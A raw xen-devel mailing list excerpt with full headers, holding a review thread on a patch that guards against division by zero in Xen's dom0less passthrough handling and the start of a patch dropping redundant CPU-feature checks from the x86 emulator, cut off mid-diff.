 id 6a4f6d67-5cb7-0a2a0a5109dd-0a2a450bb26a-10
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:44:12 +0200
Received: from [52.101.201.27]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f6d69-ac48-0a2a450b0019-3465c91ba7b0-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:44:11 +0200
Received: from BN0PR04CA0208.namprd04.prod.outlook.com (2603:10b6:408:e9::33)
 by PH7PR12MB7282.namprd12.prod.outlook.com (2603:10b6:510:209::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.16; Thu, 9 Jul
 2026 09:44:01 +0000
Received: from BN3PEPF0000B073.namprd04.prod.outlook.com
 (2603:10b6:408:e9:cafe::97) by BN0PR04CA0208.outlook.office365.com
 (2603:10b6:408:e9::33) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.12 via Frontend Transport; Thu, 9
 Jul 2026 09:44:01 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN3PEPF0000B073.mail.protection.outlook.com (10.167.243.118) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 9 Jul 2026 09:44:01 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 04:44:00 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 02:44:00 -0700
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 9 Jul 2026 04:43:59 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=u60MiRfufEN7TZStImgy84qqwTb6XX9oigTH0TMWYQ1Wt0Tvwqc4JSbAJTUZZifHr1284dkPD4Bntw9FVGIH4z2XlI9RqcJ0T8w5XLaS8GX6N0CkRPhc2/LEhdWYP24l8GeaHeIOcHgC3H2UDBoPRVwSkPW3EBgY+wkDaJ6ED67KWGnM7xX5LVkUoCJLJjEteGWPD859nbrZrcxdpZPVuLIb/mBCqmOGq5Sj/idVC2o7y4jq1bnUJElB+JIx3cKKn6bou8CkcBnpvy0PdQd8lJM0J4/0vtbi3SqwBySVk1muF0HpFib4X8tXQFsn9m2eD33io6YW/R0wW24PFCu9Zw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=76a5sYqenz7eXKb6nlRklAPVHPeXXn+8yt038HKBkeQ=;
 b=wWJRmxwNlWc5/kiuzVO3Vy3KiURKoQbH7/AIMVBRgiI0bRiQtharTZqqvU5DieWIFxJDW6YOiHgZ3mbBceOlE8gBfpzKcbkClRj0EL0JV4DMAfFPe4tJpLRy65Fw+RikX4oP74tmw9D+2kXGxmX/c9QLOOnvl5E3NIcDWxY+ng2/Uxfjiz21Pqo9U7qaIrt0QXfkvGd4stv1r+4Gr/SFAL7JJRX9QCSQqrNFL9YxXPrYQ7rSorGPCHD9MR+kVa60hKqrwWnaDXtdPi0qGkhcoH+A4cN8YXAse6KBEk+s8XP789Vl8MyV1e1xR0c08FOXGqis40xYbuyurgdE/wOgHw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=76a5sYqenz7eXKb6nlRklAPVHPeXXn+8yt038HKBkeQ=;
 b=WrtpBSvrfjMbG1TBPBMHciZE0U3fboHEISGUHPbYiAQh8AJoIKeVpQ1WEdQQ9uLMEVojwommzoyGHrpkKA8UAQrUA5LmqLdAdWl8qn7P/tyt4S/CdBJgl22N+G9e4mVSTFmSeNXY+r80SR4tv7ug634X4r1skxAF/42KBq3mXe0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <461e8308-1c4f-464b-9e7e-1899746195c6@amd.com>
Date: Thu, 9 Jul 2026 11:43:59 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Jan Beulich
	<jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, "Oleksii
 Kurochko" <oleksii.kurochko@gmail.com>
References: <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
 <e494980c-485e-4dc6-ba84-e40fd53442d6@gmail.com>
 <21ec0511-bf7e-44fa-b6f6-99d9c4085eda@suse.com>
 <c8769518-3f84-4c73-920d-975b7efaaf92@epam.com>
 <ec7bc0ef-e267-4240-ad73-13dd17e1575b@suse.com>
 <1991978f-3d3e-4d23-8583-047ef9797d65@amd.com>
 <2dce4d90-4a3c-41f9-96a9-d8aec9f95409@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <2dce4d90-4a3c-41f9-96a9-d8aec9f95409@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B073:EE_|PH7PR12MB7282:EE_
X-MS-Office365-Filtering-Correlation-Id: 3fb2ba5d-2018-4d12-ad1a-08dedd9e9b3f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|23010399003|1800799024|36860700016|376014|22082099003|18002099003|4143699003|11063799006|5023799004|56012099006;
X-Microsoft-Antispam-Message-Info:
	uN0QMwLO4euJq0fNyuV+WKtdYDNOMtxaNxh4AQ9WS/Fvv0p+zEX+qspCi8GV/Qg0GTYuqpEFwF2h1yxzyQuhrQWstWwJT1ZOMY5S31z6aX/x3BHVJs/fm3hl4mkLeoX3WjYL7P68ifr1HxoYJVmd+JI/+db5tsVZdV0A83e3V5JiTO92IlmNcaK6SD5ahlXTiDYt3M30O9SmAUAkevFWDNW787InIrcIS+Vuo5BsOFVBnVQC+0HxsU0VsstTT8d6DmbZdiD7Ed6QlDsrdIsg4TnnjgX2ArwgMpXjI83nMBO7LSTXT82h3Pk9fzCMA7YkuGpV6zWpwnfLLepIf6c6e/w2l+9GjPrnj9fvTwnUx/OAXs2WnCj6J6hGrCUdBDQDmmJjbdGQ3BdSCMCPPdEhldlR7ER8bOwPpJT+qBETtVpR528px/hhxUG3RIHWx9IWI5zerS2R6CHwCUIQHRWtS8lWt0o3qAKBvqm5rfcvpE0ntA/xhFWmxj0WcUkeGe+cS5zrMV4wVnlc70ltMyTG9c0gGU1i/IHmeRWzLSPzvtUCqacz1Zmc/yuUHxz8qQh9sDCzVBHR0K9cAytOrTwMaF47LZ1ylAfOsuBOSCDH2j+BoySi69flxY2CdBLnjS4o8sBsJvgMgGpKTLr2fl8+cAD4J0MjNabmncGRN1r6+QHSROkK4OUwe0QUv3kffsfVJtk5kSfOGuuAhnM6+gvK3A==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(23010399003)(1800799024)(36860700016)(376014)(22082099003)(18002099003)(4143699003)(11063799006)(5023799004)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	rW3TFIHotK/YrNAx0D5fSCO/ff0RUUu0m4GdrhhngV+xZg4MTuK0vAA97OfgMGLgpIS+MQWWuYVAiWh+A+oDQHhDHnFKxzwRcbKp9MBh5/RJzjSfVoP4HKdx6QhvGRIq9mNnDc5//oyCw6O5EFbRgxWBZiSLjOIPYqESHSh524PHHy77QowJDUavZ/V6lzci+o5CSZXvX/h8b3QdsLtP9oxnLl/UINwfu5bLDGTwLd9qzL3wKv9WV1kpnYh+oZrxj4b/UY/W85j9kL1ZuRHsgQCHPm2ujRFesstwfuFCO8iOeI1dih/6xZ8xsy2IyOtHrpf0ZX/u0priqkjR1u4e9xTvLZwjYBKIj9fExeuDZUhODIidf6No20x0qUsjgfP1E8dNhPmg1C2GH00lzE+irgH6Mu3zU+AmsIhfF/DRL18Q8l4aY00WizSTwNdVV28g
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 09:44:01.1971
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 3fb2ba5d-2018-4d12-ad1a-08dedd9e9b3f
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B073.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB7282
X-purgate-ID: tlsNG-42698a/1783590251-A5F26220-31B96DC9/0/0
X-purgate-type: clean
X-purgate-size: 3279



On 09-Jul-26 11:39, Dmytro Prokopchuk1 wrote:
> 
> 
> On 7/9/26 10:51, Orzel, Michal wrote:
>>
>>
>> On 09-Jul-26 08:57, Jan Beulich wrote:
>>> On 08.07.2026 19:04, Dmytro Prokopchuk1 wrote:
>>>> Hello Jan,
>>>>
>>>> On 7/8/26 09:15, Jan Beulich wrote:
>>>>> On 07.07.2026 18:08, Oleksii Kurochko wrote:
>>>>>> On 7/7/26 5:16 PM, Dmytro Prokopchuk1 wrote:
>>>>>>> --- a/xen/common/device-tree/dom0less-build.c
>>>>>>> +++ b/xen/common/device-tree/dom0less-build.c
>>>>>>> @@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kernel_info *kinfo,
>>>>>>>     
>>>>>>>         /* xen,reg specifies where to map the MMIO region */
>>>>>>>         cell = (const __be32 *)xen_reg->data;
>>>>>>> +
>>>>>>> +    if ( (address_cells * 2 + size_cells) == 0 )
>>>>>>
>>>>>> Considering that this calculation happens second time here ...
>>>>>>
>>>>>>> +    {
>>>>>>> +        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)\n");
>>>>>>> +        return -EINVAL;
>>>>>>> +    }
>>>>>>> +
>>>>>>>         len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>>>>>>                                             sizeof(uint32_t));
>>>>>>
>>>>>> ... I think it would be nice to calculate that once.
>>>>>
>>>>> Hmm, originally I meant to simply stay silent here. But now that you say this,
>>>>> I'd like to express that I find this 2nd calculation of the same expression
>>>>> bogus. If the goal is to deal with both values being zero at the same time,
>>>>> check that (and nothing else). If instead the goal is to truly prevent the
>>>>> divisor expression from ending up 0, that (and not a shorter surrogate) would
>>>>> need checking. In particular, the multiplication by sizeof(uint32_t) can
>>>>> convert non-zero to zero.
>>>> Yes, you are right. Need to check whole expression.
>>>>>
>>>>> At that point the question then would be whether overflow (and hence
>>>>> truncation) in any of the involved expressions shouldn't also be detected /
>>>>> rejected.
>>>> Testing zero is useful, but not enough - the expression (address_cells *
>>>> 2 + size_cells) * sizeof(*cell) can overflow and wrap around to a small,
>>>> non-zero number. Source code analyze showed that Xen only supports cell
>>>> sizes of 1 or 2, and there is a ASSERT_UNREACHABLE() in dt_read_number()
>>>> which prevents from using wrong cell values in DEBUG builds.
>>>>
>>>> I would propose the next checking:
>>>>
>>>>       if ( address_cells < 1 || address_cells > 2 ||
>>>>            size_cells < 1 || size_cells > 2 )
>>>>       {
>>>>           printk(XENLOG_ERR "Invalid address/size cells combination\n");
>>>>           return -EINVAL;
>>>>       }
>>>>
>>>> This will cover zero check, and overflows.
>>>
>>> It'll need to be the maintainers of this code to judge whether this is
>>> appropriate here.
>> It is but I would prefer to put it at the read side, not at the use side. Place
>> it in scan_pfdt_node() after `size_cells = device_tree_get_u32`.
>> The first call to scan_pfdt_node() passes defaults, so it is ok.
>>
>> ~Michal
>>
> 
> Hi Michal,
> 
> Nice idea! I'll create v3 for this.
Also, to avoid respins, please put the expressions in brackets.

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:46:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:46:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357779.1612121 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlKk-0005vL-Ie; Thu, 09 Jul 2026 09:46:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357779.1612121; Thu, 09 Jul 2026 09:46:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlKk-0005vE-E6; Thu, 09 Jul 2026 09:46:18 +0000
Received: by outflank-mailman (input) for mailman id 1357779;
 Thu, 09 Jul 2026 09:46:17 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whlKj-0005v7-AC
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:46:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlKi-00336H-Mz
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:46:16 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f6dd6-2eae-0a2a0a5409dd-0a2a4505d85e-38
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:46:16 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f6de8-3cb2-0a2a45050019-d155dd2ab01e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:46:16 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-472326ca506so1164172f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 02:46:16 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039ad21sm48835523f8f.20.2026.07.09.02.46.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 02:46:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783590376; x=1784195176; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=+4xQOmeu+MyTNV0g4WtVtGPDZB+biO3eVfaMQF1BsQw=;
        b=HnLhIgWY36UwmcShTEyt89K81VzV6JDIN4nuCxF/wnrdlI6MFyTtptlkVkItfYI6jY
         26z/tXv1G6A+NXjBwYpjC7rPhRVdUYy5cbej1OLCxkPXF4/VhlaQLiJEmicP/GuuRHwX
         fX1HDiC4BeuFY9EULmT8sngCFYhiWNHOc7Vti9YKJ7fEf7Bv8Ywmi+qjGEADzN77I4+L
         6q80XFZmRbAhb9WRx0aJUvj5rlJ/x6YLt34Hv4ieB+tcT0+0R1YpeaVEikMCpQyeyq/g
         G1+C1LKNtG/G7mNuLP00uoiJhdFc/Ggegd4kknj0PquLb75XpnBqDVn45hsvXKTmlgEo
         RAMA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783590376; x=1784195176;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+4xQOmeu+MyTNV0g4WtVtGPDZB+biO3eVfaMQF1BsQw=;
        b=qLZ/k7NXkhQhjoG7VSoLQ+gXjTr0Z5+gWiJeWRNat9tueHRnESKczNq29J1V/TD9ur
         ZRBYkm3hkzKO2tM2mNYMlxC1uidTCsBtqf2aYt+fZx5PUn+0nN9q9wdYHjTfhdepF6jF
         e1/XpT9b8xsmd5MODvUnjJ36qCNcixq/UFmo6zpbS/vl4XOlhHUrEx24ehOcpoi94TDb
         IipiCdi2RqIASOtqb51CIAzu2sgH+dYJnPhFJ9KdiL+oUj/dN8b8QOzLFoi4BsPPgwSc
         8GW63Bpk1oMujJHlti0YAKlNRFMWvUoPzxWcRwI3S/Y8K9DpeZagumLU/c/kDUuTEjIC
         CMFw==
X-Gm-Message-State: AOJu0YxqgoBR+RRSN4FZL4mFU7gjmBey4dWW1ke1//5EZJPrJ4jegQtN
	acRhQAHntPSsXZXSe18jfkNcWSCDh8YR8Xhbxgbr5AGD5ymGCNU+atiVKQ2LHkdCUJA6TMECsRT
	GbH1ZAA==
X-Gm-Gg: AfdE7ckc8hkIL+gTCnUM4aaqy4xB2PO+aT4zhbwyWi3FKDprAcJVo0H6Bno6FLYXgjy
	0V0H5dNx83ScAH9C/Gg/Jb2Q6MBlLMnqnTPeEI2j2TE/rljusZ4Zkyjf83O8GfQl38PzOdFoDgv
	3bhGiou/QuFf6vOwEo2kJEn/G4OPnvIR9FKWIsWUWyjG9QO7D7nQofWCzKH6hn017p1E0lxRh4x
	YZIrePkplOuSJyHg5hDjkZlVlFdh/wDU7iFjkZCWQ34FzS7jLlvpbJiMwRVCloypGftBcNsbAj7
	3cxDemq+/NQ9GKEH+u7HJp+58eq1dh4CLdvtW8am72io0W1Lg0v9SBMnWXUjaIOxUFKwpyc4Uz+
	bAt7fl6jXk60bDGoIwTbm2MU6yUsJNYoHmF9dw/z68kx10jQ907nR3e5+EUAROP9St+OZPrl98X
	EhpznAhJr71qGPkLvk6UmHTYwZr3FNRhbM6jMGDpCRZRlbc61GqqMe1rGifggdvocWIlvZnB0R2
	sQ3
X-Received: by 2002:a5d:59c5:0:b0:472:d3ab:34db with SMTP id ffacd0b85a97d-47df072b1c2mr7281350f8f.15.1783590375287;
        Thu, 09 Jul 2026 02:46:15 -0700 (PDT)
Message-ID: <fe377539-f32b-4202-8ef6-fd5b959a7f66@suse.com>
Date: Thu, 9 Jul 2026 11:46:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86emul: drop host_and_vcpu_must_have()
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+Sp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transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783590376-0FD1E118-89171A67/0/0
X-purgate-type: clean
X-purgate-size: 85925

With CPU policy dependency logic now properly in place and working, and
with us never enabling ISA bits in guest policies which the underlying
hardware doesn't support, the dual checks aren't needed anymore. In fact
in Misra terms they are dead code.

In turn, a number of cpu_has_* can then also go away, when their only user
was the emulator code.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
In my build (with all the other pending work in place) this is a savings
of about 2k of generated code.

A related question is in how far vcpu_has_*() are useful to retain. We
could as well access the policy directly, which would even be more
efficient when a "cp" local variable (or function parameter) is in scope.
Then x86_emulate()'s instance could also have its __maybe_unused dropped.

With the cpu_has_* being dropped I came to wonder why we have e.g.
cpu_has_lkgs. This particular one was added together with cpu_has_fred,
yet imo we better wouldn't add such #define-s when they're not going to be
used.

--- a/xen/arch/x86/include/asm/cpufeature.h
+++ b/xen/arch/x86/include/asm/cpufeature.h
@@ -126,28 +126,18 @@ static inline bool boot_cpu_has(unsigned
 #define cpu_has_pge             1
 #define cpu_has_pse36           boot_cpu_has(X86_FEATURE_PSE36)
 #define cpu_has_clflush         boot_cpu_has(X86_FEATURE_CLFLUSH)
-#define cpu_has_mmx             1
 #define cpu_has_htt             boot_cpu_has(X86_FEATURE_HTT)
 
 /* CPUID level 0x00000001.ecx */
-#define cpu_has_sse3            boot_cpu_has(X86_FEATURE_SSE3)
-#define cpu_has_pclmulqdq       boot_cpu_has(X86_FEATURE_PCLMULQDQ)
 #define cpu_has_monitor         boot_cpu_has(X86_FEATURE_MONITOR)
 #define cpu_has_vmx             boot_cpu_has(X86_FEATURE_VMX)
 #define cpu_has_eist            boot_cpu_has(X86_FEATURE_EIST)
-#define cpu_has_ssse3           boot_cpu_has(X86_FEATURE_SSSE3)
-#define cpu_has_fma             boot_cpu_has(X86_FEATURE_FMA)
 #define cpu_has_cx16            boot_cpu_has(X86_FEATURE_CX16)
 #define cpu_has_pdcm            boot_cpu_has(X86_FEATURE_PDCM)
 #define cpu_has_pcid            boot_cpu_has(X86_FEATURE_PCID)
-#define cpu_has_sse4_1          boot_cpu_has(X86_FEATURE_SSE4_1)
-#define cpu_has_sse4_2          boot_cpu_has(X86_FEATURE_SSE4_2)
 #define cpu_has_x2apic          boot_cpu_has(X86_FEATURE_X2APIC)
-#define cpu_has_popcnt          boot_cpu_has(X86_FEATURE_POPCNT)
-#define cpu_has_aesni           boot_cpu_has(X86_FEATURE_AESNI)
 #define cpu_has_xsave           boot_cpu_has(X86_FEATURE_XSAVE)
 #define cpu_has_avx             boot_cpu_has(X86_FEATURE_AVX)
-#define cpu_has_f16c            boot_cpu_has(X86_FEATURE_F16C)
 #define cpu_has_rdrand          boot_cpu_has(X86_FEATURE_RDRAND)
 #define cpu_has_hypervisor      boot_cpu_has(X86_FEATURE_HYPERVISOR)
 
@@ -156,17 +146,11 @@ static inline bool boot_cpu_has(unsigned
                                  boot_cpu_has(X86_FEATURE_NX))
 #define cpu_has_page1gb         boot_cpu_has(X86_FEATURE_PAGE1GB)
 #define cpu_has_rdtscp          boot_cpu_has(X86_FEATURE_RDTSCP)
-#define cpu_has_3dnow_ext       boot_cpu_has(X86_FEATURE_3DNOWEXT)
-#define cpu_has_3dnow           boot_cpu_has(X86_FEATURE_3DNOW)
 
 /* CPUID level 0x80000001.ecx */
 #define cpu_has_cmp_legacy      boot_cpu_has(X86_FEATURE_CMP_LEGACY)
 #define cpu_has_svm             boot_cpu_has(X86_FEATURE_SVM)
-#define cpu_has_sse4a           boot_cpu_has(X86_FEATURE_SSE4A)
-#define cpu_has_xop             boot_cpu_has(X86_FEATURE_XOP)
 #define cpu_has_skinit          boot_cpu_has(X86_FEATURE_SKINIT)
-#define cpu_has_fma4            boot_cpu_has(X86_FEATURE_FMA4)
-#define cpu_has_tbm             boot_cpu_has(X86_FEATURE_TBM)
 
 /* CPUID level 0x00000006.eax */
 #define cpu_has_turbo_boost     host_cpu_policy.basic.turbo_boost
@@ -190,43 +174,23 @@ static inline bool boot_cpu_has(unsigned
 #define cpu_has_xsaves          boot_cpu_has(X86_FEATURE_XSAVES)
 
 /* CPUID level 0x00000007:0.ebx */
-#define cpu_has_bmi1            boot_cpu_has(X86_FEATURE_BMI1)
 #define cpu_has_hle             boot_cpu_has(X86_FEATURE_HLE)
-#define cpu_has_avx2            boot_cpu_has(X86_FEATURE_AVX2)
 #define cpu_has_smep            boot_cpu_has(X86_FEATURE_SMEP)
-#define cpu_has_bmi2            boot_cpu_has(X86_FEATURE_BMI2)
 #define cpu_has_invpcid         boot_cpu_has(X86_FEATURE_INVPCID)
 #define cpu_has_rtm             boot_cpu_has(X86_FEATURE_RTM)
 #define cpu_has_pqe             boot_cpu_has(X86_FEATURE_PQE)
 #define cpu_has_fpu_sel         (!boot_cpu_has(X86_FEATURE_NO_FPU_SEL))
 #define cpu_has_mpx             boot_cpu_has(X86_FEATURE_MPX)
 #define cpu_has_avx512f         boot_cpu_has(X86_FEATURE_AVX512F)
-#define cpu_has_avx512dq        boot_cpu_has(X86_FEATURE_AVX512DQ)
-#define cpu_has_rdseed          boot_cpu_has(X86_FEATURE_RDSEED)
 #define cpu_has_smap            boot_cpu_has(X86_FEATURE_SMAP)
-#define cpu_has_avx512_ifma     boot_cpu_has(X86_FEATURE_AVX512_IFMA)
 #define cpu_has_clflushopt      boot_cpu_has(X86_FEATURE_CLFLUSHOPT)
 #define cpu_has_clwb            boot_cpu_has(X86_FEATURE_CLWB)
-#define cpu_has_avx512cd        boot_cpu_has(X86_FEATURE_AVX512CD)
 #define cpu_has_proc_trace      boot_cpu_has(X86_FEATURE_PROC_TRACE)
-#define cpu_has_sha             boot_cpu_has(X86_FEATURE_SHA)
